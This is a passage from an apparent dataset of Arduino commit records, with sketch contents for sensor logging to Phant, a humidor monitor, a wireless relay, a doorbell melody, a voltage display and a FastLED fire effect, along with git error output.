\"data.sparkfun.com\";\n\/\/ Phant public key:\nconst char publicKey[] = \"DJjNowwjgxFR9ogvr45Q\";\n\/\/ Phant private key:\nconst char privateKey[] = \"P4eKwGGek5tJVz9Ar84n\";\n\/\/ Create a Phant object, which we'll use from here on:\nPhant phant(phantServer, publicKey, privateKey);\n\nvoid setup() \n{\n int status;\n Serial.begin(9600);\n \n \/\/ To turn the MG2639 shield on, and verify communication\n \/\/ always begin a sketch by calling cell.begin().\n status = esp8266.begin();\n if (status <= 0)\n {\n Serial.println(F(\"Unable to communicate with shield. Looping\"));\n while(1) ;\n }\n \/*\n esp8266.setMode(ESP8266_MODE_STA); \/\/ Set WiFi mode to station\n if (esp8266.status() <= 0) \/\/ If we're not already connected\n {\n if (esp8266.connect(mySSID, myPSK) < 0)\n {\n Serial.println(F(\"Error connecting\"));\n while (1) ;\n } \n }\n \n \/\/ Get our assigned IP address and print it:\n Serial.print(F(\"My IP address is: \"));\n Serial.println(esp8266.localIP());*\/\n \n Serial.println(F(\"Press any key to post to Phant!\"));\n}\n\nvoid loop()\n{\n \/*\n \/\/ If data has been sent over a TCP link:\n if (.available())\n { \/\/ Print it to the serial monitor:\n Serial.write(gprs.read());\n }*\/\n \/\/ If a character has been received over serial:\n if (Serial.available())\n {\n \/\/ !!! Make sure we haven't posted recently\n \/\/ Post to Phant!\n postToPhant();\n \/\/ Then clear the serial buffer:\n while (Serial.available())\n Serial.read();\n }\n}\n\nvoid postToPhant()\n{\n \/\/ Create a client, and initiate a connection\n ESP8266Client client;\n \n if (client.connect(phantServer, 80) <= 0)\n {\n Serial.println(F(\"Failed to connect to server.\"));\n return;\n }\n Serial.println(F(\"Connected.\"));\n \n \/\/ Set up our Phant post using the Phant library. For\n \/\/ each field in the Phant stream we need to call\n \/\/ phant.add([field], value).\n \/\/ Value can be any data type, in this case we're only\n \/\/ using integers.\n phant.add(F(\"analog0\"), analogRead(A0));\n phant.add(F(\"analog1\"), analogRead(A1));\n phant.add(F(\"analog2\"), analogRead(A2));\n phant.add(F(\"analog3\"), analogRead(A3));\n phant.add(F(\"analog4\"), analogRead(A4));\n phant.add(F(\"analog5\"), analogRead(A5));\n \/\/ Storing fields in flash (F()) will save a good chunk\n \/\/ of RAM, which is very precious.\n \n Serial.println(F(\"Posting to Phant!\"));\n \/\/ Encapsulate a phant.post() inside a gprs.print(). \n \/\/ phant.post() takes care of everything in the HTTP header\n \/\/ including newlines.\n client.print(phant.post());\n\n \/\/ available() will return the number of characters\n \/\/ currently in the receive buffer.\n while (client.available())\n Serial.write(client.read()); \/\/ read() gets the FIFO char\n \n \/\/ connected() is a boolean return value - 1 if the \n \/\/ connection is active, 0 if it's closed.\n if (client.connected())\n client.stop(); \/\/ stop() closes a TCP connection.\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ESP8266_Phant_Library\/ESP8266_Phant_Library.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d88693dd5ded726307e17dccc0eda4e25f0c6bc3","subject":"Inlining the functions reduced the sketch size more than 100 bytes.","message":"Inlining the functions reduced the sketch size more than 100 bytes.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"15f326a19fdd3d224d2ef176037620054e5e4301","subject":"versuch mit der Manchester Lib die Messdaten inkl. ID zu versenden","message":"versuch mit der Manchester Lib die Messdaten inkl. ID zu versenden\n","repos":"Brawn1\/Humidor_monitoring,Brawn1\/Humidor_monitoring,Brawn1\/Humidor_monitoring,Brawn1\/Humidor_monitoring","old_file":"ATtiny_Humidor_Monitoring\/ATtiny_Humidor_Monitoring.ino","new_file":"ATtiny_Humidor_Monitoring\/ATtiny_Humidor_Monitoring.ino","new_contents":"\/*\n * Humidor \u00dcberwachung mit einem ATtiny85 und einem 433MHz Sender.\n * \n * Der ATtiny85 wird die Sensorendaten von der Luftfeuchte und Temperatur Auswerten, und falls es einen Grenzwert\n * \u00fcberschreitet einen L\u00fcfter f\u00fcr die Luftfeuchte einschalten.\n * \n * Somit erzeugt es die richtige Feuchtigkeit im Humidor.\n * \n * Da der ATtiny85 nur begrenzte Pins hat, wird noch ein Shiftregister und ein Transistor in die Schaltung eingebaut.\n * \n * \n * ATtiny85:\n * ---------\n * VCC = 5V\n * GND = GND\n * PB0 = Shift Register Clock\n * PB1 = Shift Register Serial Data\n * PB2 = Shift Register Latchpin\n * PB3 = 433MHz Sender\n * PB4 = DHT11 Sensor\n * \n * Info:\n * Falls ein anderer Arduino Controller verwendet wird, muss man die Pins anpassen.\n * \n * MIT License:\n * Copyright (c) 2017 G\u00fcnter Bailey\n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated \n * documentation files (the \"Software\"), to deal in the Software without restriction, \n * including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, \n * and\/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, \n * subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, \n * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. \n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, \n * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, \n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n * \n * MIT Lizenz in Deutsch:\n * Copyright (c) 2017 G\u00fcnter Bailey\n * \n * Hiermit wird unentgeltlich jeder Person, die eine Kopie der Software und der zugeh\u00f6rigen Dokumentationen (die \"Software\") erh\u00e4lt, \n * die Erlaubnis erteilt, sie uneingeschr\u00e4nkt zu nutzen, inklusive und ohne Ausnahme mit dem Recht, sie zu verwenden, \n * zu kopieren, zu ver\u00e4ndern, zusammenzuf\u00fcgen, zu ver\u00f6ffentlichen, zu verbreiten, zu unterlizenzieren und\/oder zu verkaufen, \n * und Personen, denen diese Software \u00fcberlassen wird, diese Rechte zu verschaffen, unter den folgenden Bedingungen:\n * \n * Der obige Urheberrechtsvermerk und dieser Erlaubnisvermerk sind in allen Kopien oder Teilkopien der Software beizulegen.\n * DIE SOFTWARE WIRD OHNE JEDE AUSDR\u00dcCKLICHE ODER IMPLIZIERTE GARANTIE BEREITGESTELLT, \n * EINSCHLIESSLICH DER GARANTIE ZUR BENUTZUNG F\u00dcR DEN VORGESEHENEN ODER EINEM BESTIMMTEN ZWECK SOWIE JEGLICHER RECHTSVERLETZUNG, \n * JEDOCH NICHT DARAUF BESCHR\u00c4NKT. IN KEINEM FALL SIND DIE AUTOREN ODER COPYRIGHTINHABER F\u00dcR JEGLICHEN SCHADEN ODER \n * SONSTIGE ANSPR\u00dcCHE HAFTBAR ZU MACHEN, OB INFOLGE DER ERF\u00dcLLUNG EINES VERTRAGES, \n * EINES DELIKTES ODER ANDERS IM ZUSAMMENHANG MIT DER SOFTWARE ODER SONSTIGER VERWENDUNG DER SOFTWARE ENTSTANDEN.\n * \n *\/\n\/\/attiny85\n\/*\n#define latchPin PB2\n#define clockPin PB0\n#define dataPin PB1\n*\/\n\/\/arduino\n#define latchPin A1\n#define clockPin A0\n#define dataPin A2\n\/\/manchester lib\n#include <Manchester.h>\n#define TX_PIN 5 \/\/uebertragungs Pin\n\n\/\/Pausen zwischen den Messungen in Millisekunden\nunsigned long mtime = 10000;\n\n\/*\n * Verschiedene Uebertragungsgeschwindigkeiten sind moeglich.\n * Variiert von der Distanz und Empfangsqualitaet\n * \n * Bei den Tests hat am besten die MAN_1200 Funktioniert.\n * \n * MAN_300 0\n * MAN_600 1\n * MAN_1200 2\n * MAN_2400 3\n * MAN_4800 4\n * MAN_9600 5\n * MAN_19200 6\n * MAN_38400 7\n *\/\n\nvoid setup() {\n \/\/Serial.begin(115200);\n\n \/\/manchester lib\n man.workAround1MhzTinyCore(); \/\/patch fuer 1Mhz ATtinyx4\/x5\n man.setupTransmit(TX_PIN, MAN_1200);\n \n \/\/shiftregister\n pinMode(latchPin, OUTPUT);\n pinMode(clockPin, OUTPUT);\n pinMode(dataPin, OUTPUT);\n}\n\nchar msg[] = \"adsfED\";\n\nbyte count = 1;\nunsigned long task1 = 0;\nvoid loop() {\n unsigned long currmillis = millis();\n \n \/\/ Wenn die Zeit (worktime) kleiner als die Vergangene Zeit ist, schalte ab.\n if ((unsigned long)(currmillis - task1) >= mtime || (currmillis == 1000)) {\n uint16_t msglen = sizeof(msg)-1;\n man.transmitArray(msglen, msg);\n task1 = millis();\n }\n \/*\n \/\/if ((unsigned long)(currmillis - task1) == 1000) {\n \/\/rf_receive();\n \/\/}\n *\/\n}\n\n\/*\nvoid rf_receive() {\n if (mySwitch.available()) {\n \n int value = mySwitch.getReceivedValue();\n \n if (value == 0) {\n Serial.print(\"Unknown encoding\");\n } else {\n Serial.print(\"Received \");\n Serial.print( mySwitch.getReceivedValue() );\n Serial.print(\" \/ \");\n Serial.print( mySwitch.getReceivedBitlength() );\n Serial.print(\"bit \");\n Serial.print(\"Protocol: \");\n Serial.println( mySwitch.getReceivedProtocol() );\n }\n\n mySwitch.resetAvailable();\n }\n}\n*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ATtiny_Humidor_Monitoring\/ATtiny_Humidor_Monitoring.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4bf731d40b207a14f226e5d1fe04b38a82f7d7be","subject":"Working PID loop with one LIDAR lite","message":"Working PID loop with one LIDAR lite\n\nChecked LIDAR lite using PWM: not very accurate\nChecked LIDAR lite using I2c: much more accurate\nDevice address is the same (0x62): uncertain if we can use two devices\nover I2c - looking at possibility of changing\n","repos":"EC544-2015-Group2\/Challenge4,EC544-2015-Group2\/Challenge4","old_file":"Testing LIDAR\/SampleLIDARI2c_PID\/SampleLIDARI2c_PID.ino","new_file":"Testing LIDAR\/SampleLIDARI2c_PID\/SampleLIDARI2c_PID.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Testing' did not match any file(s) known to git\nerror: pathspec 'LIDAR\/SampleLIDARI2c_PID\/SampleLIDARI2c_PID.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4893315b91d9167143a83e7e5bd464ac7c0846d6","subject":"Add example demonstrating the simple `read()` command and SoftWire","message":"Add example demonstrating the simple `read()` command and SoftWire\n","repos":"stevemarple\/HIH61xx","old_file":"examples\/HIH61xx_SoftWire_simple_demo\/HIH61xx_SoftWire_simple_demo.ino","new_file":"examples\/HIH61xx_SoftWire_simple_demo\/HIH61xx_SoftWire_simple_demo.ino","new_contents":"\/\/ This example demonstrates how to use the HIH61xx class with the SoftWire library. SoftWire is a software I2C\n\/\/ implementation which enables any two unused pins to be used as a I2C bus. A blocking read is made to the\n\/\/ HIH61xx device. See HIH61xx_SoftWire_demo for a more sophisticated example which allows other tasks to run\n\/\/ whilst the HIH61xx takes its measurements.\n\n#include <SoftWire.h>\n#include <HIH61xx.h>\n#include <AsyncDelay.h>\n\n\/\/ Create an instance of the SoftWire class called \"sw\". In this example it uses the same pins as the hardware I2C\n\/\/ bus. Pass the pin numbers to use different pins.\nSoftWire sw(SDA, SCL);\n\n\/\/ The \"hih\" object must be created with a reference to the SoftWire \"sw\" object which represents the I2C bus it is\n\/\/ using. Note that the class for the SoftWire object must be included in the templated class name.\nHIH61xx<SoftWire> hih(sw);\n\nAsyncDelay samplingInterval;\n\n\/\/ SoftWire requires that the programmer declares the buffers used. This allows the amount of memory used to be set\n\/\/ according to need. For the HIH61xx only a very small RX buffer is needed.\nuint8_t i2cRxBuffer[4];\nuint8_t i2cTxBuffer[32];\n\nvoid setup(void)\n{\n#if F_CPU >= 12000000UL\n Serial.begin(115200);\n#else\n\tSerial.begin(9600);\n#endif\n\n \/\/ The pin numbers for SDA\/SCL can be overridden at runtime.\n\t\/\/ sw.setSda(sdaPin);\n\t\/\/ sw.setScl(sclPin);\n\n\n\tsw.setRxBuffer(i2cRxBuffer, sizeof(i2cRxBuffer));\n\t\/\/sw.setTxBuffer(i2cTxBuffer, sizeof(i2cTxBuffer));\n\n\t\/\/ HIH61xx doesn't need a TX buffer at all but other I2C devices probably will.\n\t\/\/sw.setTxBuffer(i2cTxBuffer, sizeof(i2cTxBuffer));\n\tsw.setTxBuffer(NULL, 0);\n\n\tsw.begin(); \/\/ Sets up pin mode for SDA and SCL\n\n\thih.initialise();\n\tsamplingInterval.start(3000, AsyncDelay::MILLIS);\n}\n\n\nvoid loop(void)\n{\n \/\/ Instruct the HIH61xx to take a measurement. This blocks until the measurement is ready.\n hih.read();\n\n \/\/ Fetch and print the results\n Serial.print(\"Relative humidity: \");\n Serial.print(hih.getRelHumidity() \/ 100.0);\n Serial.println(\" %\");\n Serial.print(\"Ambient temperature: \");\n Serial.print(hih.getAmbientTemp() \/ 100.0);\n Serial.println(\" deg C\");\n Serial.print(\"Status: \");\n Serial.println(hih.getStatus());\n\n \/\/ Wait a second\n delay(1000);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/HIH61xx_SoftWire_simple_demo\/HIH61xx_SoftWire_simple_demo.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"a740b12e223fea5bec13f6b6cfaa512f3cd727ac","subject":"there are more motors with endstops","message":"there are more motors with endstops\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"ccfb2a5766b3f841f350fce1225078fb978201f4","subject":"New Wireless example sketch; relay messages.","message":"New Wireless example sketch; relay messages.\n\n1. Receive messages from CosaWirelessSender and send to CosaWirelessReceiver.\n","repos":"kc9jud\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,jeditekunum\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,dansut\/Cosa,dansut\/Cosa,rrobinet\/Cosa,kc9jud\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa","old_file":"examples\/Wireless\/CosaWirelessRelay\/CosaWirelessRelay.ino","new_file":"examples\/Wireless\/CosaWirelessRelay\/CosaWirelessRelay.ino","new_contents":"\/**\n * @file CosaWirelessRelay.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2014, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * @section Description\n * Cosa Wireless interface demo; relay messages from CosaWirelessSender\n * and forward to CosaWirelessReceiver.\n *\n * @section Circuit\n * See Wireless drivers for circuit connections.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/OWI\/Driver\/DS18B20.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/RTC.hh\"\n\n\/\/ Configuration; network and device addresses\n#define NETWORK 0xC05A\n#define DEVICE 0x03\n#define DEST 0x01\n\n\/\/ Select Wireless device driver\n\/\/ #define USE_CC1101\n#define USE_NRF24L01P\n\/\/ #define USE_RFM69\n\/\/ #define USE_VWI\n\n#if defined(USE_CC1101)\n#include \"Cosa\/Wireless\/Driver\/CC1101.hh\"\nCC1101 rf(NETWORK, DEVICE);\n\n#elif defined(USE_NRF24L01P)\n#include \"Cosa\/Wireless\/Driver\/NRF24L01P.hh\"\nNRF24L01P rf(NETWORK, DEVICE);\n\n#elif defined(USE_RFM69)\n#include \"Cosa\/Wireless\/Driver\/RFM69.hh\"\nRFM69 rf(NETWORK, DEVICE);\n\n#elif defined(USE_VWI)\n#include \"Cosa\/Wireless\/Driver\/VWI.hh\"\n#include \"Cosa\/Wireless\/Driver\/VWI\/Codec\/VirtualWireCodec.hh\"\nVirtualWireCodec codec;\n#define BPS 4000\n#if defined(BAORD_TINY)\nVWI rf(NETWORK, DEVICE, BPS, Board::D1, Board::D0, &codec);\n#else\nVWI rf(NETWORK, DEVICE, BPS, Board::D7, Board::D8, &codec);\n#endif\n#endif\n\nvoid setup()\n{\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaWirelessRelay: started\"));\n Watchdog::begin();\n RTC::begin();\n rf.begin();\n}\n\nvoid loop()\n{\n \/\/ Receive a message\n const uint32_t TIMEOUT = 5000;\n const uint8_t MSG_MAX = rf.PAYLOAD_MAX;\n uint8_t msg[MSG_MAX];\n uint8_t src;\n uint8_t port;\n int count = rf.recv(src, port, msg, sizeof(msg), TIMEOUT);\n\n \/\/ Print the message header\n if (count >= 0 && !rf.is_broadcast()) {\n trace << PSTR(\"src=\") << hex << src \n\t << PSTR(\",port=\") << hex << port\n\t << PSTR(\",dest=\") << hex << rf.get_device_address()\n\t << PSTR(\",len=\") << count\n#if defined(COSA_WIRELESS_DRIVER_CC1101_HH)\n\t << PSTR(\",rssi=\") << rf.get_input_power_level() \n\t << PSTR(\",lqi=\") << rf.get_link_quality_indicator()\n#endif\n\t << endl;\n rf.send(DEST, port, msg, count);\n }\n\n \/\/ Check error codes\n else if (count == -1) {\n trace << PSTR(\"error:illegal frame size(-1)\") << endl;\n }\n else if (count == -2) {\n trace << PSTR(\"error:timeout(-2)\") << endl;\n }\n else if (count < 0) {\n trace << PSTR(\"error(\") << count << PSTR(\")\") << endl;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Wireless\/CosaWirelessRelay\/CosaWirelessRelay.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"9ca27e85425bd6560ad25f18bd0885164ffc061b","subject":"Fixed sending negative sensor values problem","message":"Fixed sending negative sensor values problem\n","repos":"martog\/VMKS_2016,martog\/VMKS_2016","old_file":"Arduino Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino","new_file":"Arduino Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"422362683ee14117a8e0d8b20d726a336835b92c","subject":"Create main.ino","message":"Create main.ino","repos":"AbhishekGhosh\/Arduino-Door-Bell-With-Push-Button-LED","old_file":"main.ino","new_file":"main.ino","new_contents":"#include \"pitches.h\" \/\/add note library\n\n\/\/notes in the melody\nint melody[]={NOTE_C4, NOTE_G3, NOTE_G3, NOTE_A3, NOTE_G3, 0, NOTE_B3, NOTE_C4};\n\n\/\/digital pin 12 has a button attached to it. Give it an name\nint buttonPin= 12;\nconst int rPin = 5; \/\/red LED\nconst int gPin = 4; \/\/green LED\nconst int bPin = 3; \/\/blue LED\n\nint ledState = 0;\nint ledOn = false;\n\n\/\/note durations. 4=quarter note \/ 8=eighth note\nint noteDurations[]={4, 8, 8, 4, 4, 4, 4, 4};\n\n\nvoid setup(){\n\n \/\/make the button's pin input\n pinMode(buttonPin, INPUT);\n pinMode(rPin, OUTPUT);\n pinMode(gPin, OUTPUT);\n pinMode(bPin, OUTPUT);\n}\n\n\nvoid loop(){\n\n \/\/read the input pin\n int buttonState = digitalRead(buttonPin);\n\n \/\/if the button is pressed\n if (buttonState == 1){\n\n \/\/iterate over the notes of the melody\n for (int thisNote=0; thisNote <8; thisNote++){\n \/\/ blink the three LEDs in sequence\n if (thisNote%3==0){ \n digitalWrite(rPin, HIGH);\n digitalWrite(gPin, LOW);\n digitalWrite(bPin, LOW);\n }\n else if (thisNote%3==1){ \n digitalWrite(rPin, LOW);\n digitalWrite(gPin, HIGH);\n digitalWrite(bPin, LOW);\n }\n else if (thisNote%3==2){ \n digitalWrite(rPin, LOW);\n digitalWrite(gPin, LOW);\n digitalWrite(bPin, HIGH);\n }\n \/\/to calculate the note duration, take one second. Divided by the note type\n int noteDuration = 1000 \/ noteDurations [thisNote];\n tone(8, melody [thisNote], noteDuration);\n\n \/\/to distinguish the notes, set a minimum time between them\n \/\/the note's duration +30% seems to work well\n int pauseBetweenNotes = noteDuration * 1.30;\n delay(pauseBetweenNotes);\n\n \/\/stop the tone playing\n noTone(8);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'main.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"101c26989e668d99e13b05c1d02390a59276875c","subject":"add voltage-display","message":"add voltage-display\n","repos":"xnnyygn\/electronic-technology,xnnyygn\/electronic-technology,xnnyygn\/electronic-technology","old_file":"voltage-display\/v_test.ino","new_file":"voltage-display\/v_test.ino","new_contents":"#define PIN_DATA 6\n#define PIN_LATCH 8\n#define PIN_CLOCK 10\n\n#define PIN_D_2 4\n#define PIN_D_3 3\n#define PIN_D_4 2\n\nbyte digits[] = {252, 96, 218, 242, 102, 182, 190, 224, 246, 238};\n\nvoid setup() {\n Serial.begin(9600);\n \n pinMode(PIN_DATA, OUTPUT);\n pinMode(PIN_LATCH, OUTPUT);\n pinMode(PIN_CLOCK, OUTPUT);\n \n pinMode(PIN_D_2, OUTPUT);\n digitalWrite(PIN_D_2, HIGH);\n \n pinMode(PIN_D_3, OUTPUT);\n digitalWrite(PIN_D_3, HIGH);\n \n pinMode(PIN_D_4, OUTPUT);\n digitalWrite(PIN_D_4, HIGH);\n}\n\nvoid loop() {\n \/\/ read voltage\n int analogValue = analogRead(0);\n float voltage = 0.0048 * analogValue;\n byte numbers = voltage * 100;\n \n for(byte i = 0; i < 20; i++) {\n displayNumber(numbers \/ 100, true, PIN_D_2);\n displayNumber((numbers % 100) \/ 10, false, PIN_D_3);\n displayNumber(numbers % 10, false, PIN_D_4);\n }\n}\n\nvoid displayNumber(byte n, bool withPoint, byte pin) {\n digitalWrite(pin, LOW);\n digitalWrite(PIN_LATCH, LOW);\n shiftOut(PIN_DATA, PIN_CLOCK, LSBFIRST, digits[n] + (withPoint ? 1 : 0));\n digitalWrite(PIN_LATCH, HIGH);\n delay(10);\n digitalWrite(pin, HIGH);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'voltage-display\/v_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0b670965843797017feb88b10016a331ee1e23c4","subject":"Added Blue Fire (Anti Fire) Program","message":"Added Blue Fire (Anti Fire) Program","repos":"MTHSRoboticsClub\/FRC-2017,MTHSRoboticsClub\/FRC-2017","old_file":"Neopixel-WillF\/Anti-Fire\/Anti-Fire.ino","new_file":"Neopixel-WillF\/Anti-Fire\/Anti-Fire.ino","new_contents":"#include <FastLED.h>\n\n#define LED_PIN 6\n#define COLOR_ORDER GRB\n#define CHIPSET WS2811\n#define NUM_LEDS 60\n\n#define BRIGHTNESS 75\n#define FRAMES_PER_SECOND 60\n\nbool gReverseDirection = false;\n\nCRGB leds[NUM_LEDS];\n\n\/\/ Fire2012 with programmable Color Palette\n\/\/\n\/\/ This code is the same fire simulation as the original \"Fire2012\",\n\/\/ but each heat cell's temperature is translated to color through a FastLED\n\/\/ programmable color palette, instead of through the \"HeatColor(...)\" function.\n\/\/\n\/\/ Four different static color palettes are provided here, plus one dynamic one.\n\/\/ \n\/\/ The three static ones are: \n\/\/ 1. the FastLED built-in HeatColors_p -- this is the default, and it looks\n\/\/ pretty much exactly like the original Fire2012.\n\/\/\n\/\/ To use any of the other palettes below, just \"uncomment\" the corresponding code.\n\/\/\n\/\/ 2. a gradient from black to red to yellow to white, which is\n\/\/ visually similar to the HeatColors_p, and helps to illustrate\n\/\/ what the 'heat colors' palette is actually doing,\n\/\/ 3. a similar gradient, but in blue colors rather than red ones,\n\/\/ i.e. from black to blue to aqua to white, which results in\n\/\/ an \"icy blue\" fire effect,\n\/\/ 4. a simplified three-step gradient, from black to red to white, just to show\n\/\/ that these gradients need not have four components; two or\n\/\/ three are possible, too, even if they don't look quite as nice for fire.\n\/\/\n\/\/ The dynamic palette shows how you can change the basic 'hue' of the\n\/\/ color palette every time through the loop, producing \"rainbow fire\".\n\nCRGBPalette16 gPal;\n\nvoid setup() {\n delay(3000); \/\/ sanity delay\n FastLED.addLeds<CHIPSET, LED_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection( TypicalLEDStrip );\n FastLED.setBrightness( BRIGHTNESS );\n\n \/\/ This first palette is the basic 'black body radiation' colors,\n \/\/ which run from black to red to bright yellow to white.\n gPal = HeatColors_p;\n \n \/\/ These are other ways to set up the color palette for the 'fire'.\n \/\/ First, a gradient from black to red to yellow to white -- similar to HeatColors_p\n \/\/ gPal = CRGBPalette16( CRGB::Black, CRGB::Red, CRGB::Yellow, CRGB::White);\n \n \/\/ Second, this palette is like the heat colors, but blue\/aqua instead of red\/yellow\n \/\/ gPal = CRGBPalette16( CRGB::Black, Blue, CRGB::Aqua, CRGB::White);\n \n \/\/ Third, here's a simpler, three-step gradient, from black to red to white\n \/\/ gPal = CRGBPalette16( CRGB::Black, CRGB::Red, CRGB::White);\n\n gPal = CRGBPalette16( CRGB::Black, CRGB( 0, 25, 100), CRGB( 50, 125, 200), CRGB( 175, 255, 255));\n\n}\n\nvoid loop()\n{\n \/\/ Add entropy to random number generator; we use a lot of it.\n random16_add_entropy( random());\n\n \/\/ Fourth, the most sophisticated: this one sets up a new palette every\n \/\/ time through the loop, based on a hue that changes every time.\n \/\/ The palette is a gradient from black, to a dark color based on the hue,\n \/\/ to a light color based on the hue, to white.\n \/\/\n \/\/ static uint8_t hue = 0;\n \/\/ hue++;\n \/\/ CRGB darkcolor = CHSV(hue,255,192); \/\/ pure hue, three-quarters brightness\n \/\/ CRGB lightcolor = CHSV(hue,128,255); \/\/ half 'whitened', full brightness\n \/\/ gPal = CRGBPalette16( CRGB::Black, darkcolor, lightcolor, CRGB::White);\n\n\n Fire2012WithPalette(); \/\/ run simulation frame, using palette colors\n \n FastLED.show(); \/\/ display this frame\n FastLED.delay(1000 \/ FRAMES_PER_SECOND);\n}\n\n\n\/\/ Fire2012 by Mark Kriegsman, July 2012\n\/\/ as part of \"Five Elements\" shown here: http:\/\/youtu.be\/knWiGsmgycY\n\/\/\/\/ \n\/\/ This basic one-dimensional 'fire' simulation works roughly as follows:\n\/\/ There's a underlying array of 'heat' cells, that model the temperature\n\/\/ at each point along the line. Every cycle through the simulation, \n\/\/ four steps are performed:\n\/\/ 1) All cells cool down a little bit, losing heat to the air\n\/\/ 2) The heat from each cell drifts 'up' and diffuses a little\n\/\/ 3) Sometimes randomly new 'sparks' of heat are added at the bottom\n\/\/ 4) The heat from each cell is rendered as a color into the leds array\n\/\/ The heat-to-color mapping uses a black-body radiation approximation.\n\/\/\n\/\/ Temperature is in arbitrary units from 0 (cold black) to 255 (white hot).\n\/\/\n\/\/ This simulation scales it self a bit depending on NUM_LEDS; it should look\n\/\/ \"OK\" on anywhere from 20 to 100 LEDs without too much tweaking. \n\/\/\n\/\/ I recommend running this simulation at anywhere from 30-100 frames per second,\n\/\/ meaning an interframe delay of about 10-35 milliseconds.\n\/\/\n\/\/ Looks best on a high-density LED setup (60+ pixels\/meter).\n\/\/\n\/\/\n\/\/ There are two main parameters you can play with to control the look and\n\/\/ feel of your fire: COOLING (used in step 1 above), and SPARKING (used\n\/\/ in step 3 above).\n\/\/\n\/\/ COOLING: How much does the air cool as it rises?\n\/\/ Less cooling = taller flames. More cooling = shorter flames.\n\/\/ Default 55, suggested range 20-100 \n#define COOLING 65\n\n\/\/ SPARKING: What chance (out of 255) is there that a new spark will be lit?\n\/\/ Higher chance = more roaring fire. Lower chance = more flickery fire.\n\/\/ Default 120, suggested range 50-200.\n#define SPARKING 110\n\n\nvoid Fire2012WithPalette()\n{\n\/\/ Array of temperature readings at each simulation cell\n static byte heat[NUM_LEDS];\n\n \/\/ Step 1. Cool down every cell a little\n for( int i = 0; i < NUM_LEDS; i++) {\n heat[i] = qsub8( heat[i], random8(0, ((COOLING * 10) \/ NUM_LEDS) + 2));\n }\n \n \/\/ Step 2. Heat from each cell 